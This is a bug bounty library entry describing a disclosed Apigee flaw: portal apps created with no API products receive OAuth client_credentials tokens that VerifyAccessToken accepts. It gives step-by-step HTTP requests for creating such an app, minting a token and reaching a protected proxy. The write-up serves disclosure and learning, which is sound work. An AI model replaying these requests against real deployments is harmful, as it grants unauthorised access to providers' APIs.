# The App With No Products

Apigee developer portal accepted apps with no API products; OAuthV2 client_credentials minted tokens that VerifyAccessToken honored, bypassing product authorization.

- Payout: $9,000
- Severity: high
- Program: Google
- Found by: Nikita Markevich
- Disclosed: 2026-10-29
- Write-up quality: 8/10
- Original: https://bugs.exposed/posts/apigee-oauth-skeleton-key
- Library page: https://bugbountylibrary.com/r/blog%3Abugs-exposed-posts-apigee-oauth-skeleton-key
- Tags: area:cloud domain:api domain:cloud impact:internal-access kind:bounty platform:blog sev:high tech:oauth technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass

**Target:** Apigee developer portal app-creation API and OAuthV2 token/protected proxies
**Root cause:** Portal UI enforced at least one API product but the backend app-creation API did not, allowing apps with empty product associations; OAuthV2's populateApiProductAttributes only denies empty/no-match product sets when the legacy disableUnboundedPermissions() feature flag is enabled, unlike VerifyAPIKey's fail-closed allow.app.without.product guard.
**Steps:**
1. Intercept portal app-creation request `{"name":"my-app","apiProducts":["hello-world"]}` and remove apiProducts to send `{"name":"my-app"}`; server creates app and issues consumer key/secret with no product.
2. Confirm VerifyAPIKey rejects: `GET /protected-by-verifyapikey?apikey=<CONSUMER_KEY>` returns 400 `keymanagement.service.consumer_key_missing_api_product_association`.
3. Request token: `GET /oauth/accesstoken?grant_type=client_credentials` with `Authorization: Basic Base64(<CONSUMER_KEY>:<CONSUMER_SECRET>)`; response has `api_product_list: "[]"` and `status: approved`.
4. Call protected proxy with `Authorization: Bearer <ACCESS_TOKEN>`; returns 200 OK.
5. Control: attach a product not covering /protected, re-mint token, call /protected; denied with `Invalid API call as no apiproduct match found`.
**How found:** Noticed Apigee docs warning admins against product-less apps (skeleton key), then realized the developer portal is another app-creation path controlled by external users; tested removing apiProducts from the portal request, then compared VerifyAPIKey vs VerifyAccessToken behavior on the same app and added a wrong-product control to prove the empty set was the anomaly.
**Exploitation:** Any self-registered portal developer creates an app without products, obtains a consumer key/secret, mints a client_credentials OAuth token, and calls any proxy protected only by OAuthV2 VerifyAccessToken, reaching APIs the provider never granted via products.
**Insight:** When two auth mechanisms front the same object model, test the empty/absent permission set separately from a wrong permission set: a wrong product denied while no product granted, revealing a legacy feature-gated branch (disableUnboundedPermissions) that only fires on the empty case.

## Proof of concept (copied exactly from the original report)

**Modified portal request creating app with no products**

```
I intercepted the request after the form validation and removed apiProducts:

 Modified portal request Copy code

{
 "name": "my-app"
}

The server accepted it. It created the app, issued a real consumer key and secret
```

**Client-credentials token request for product-less app**

```
GET /oauth/accesstoken?grant_type=client_credentials HTTP/1.1
Host: <APIGEE_HOST>
Authorization: Basic Base64(<CONSUMER_KEY>:<CONSUMER_SECRET>)
```

**Bearer token accepted at protected proxy**

```
GET /protected HTTP/1.1
Host: <APIGEE_HOST>
Authorization: Bearer <ACCESS_TOKEN>

HTTP/1.1 200 OK
```

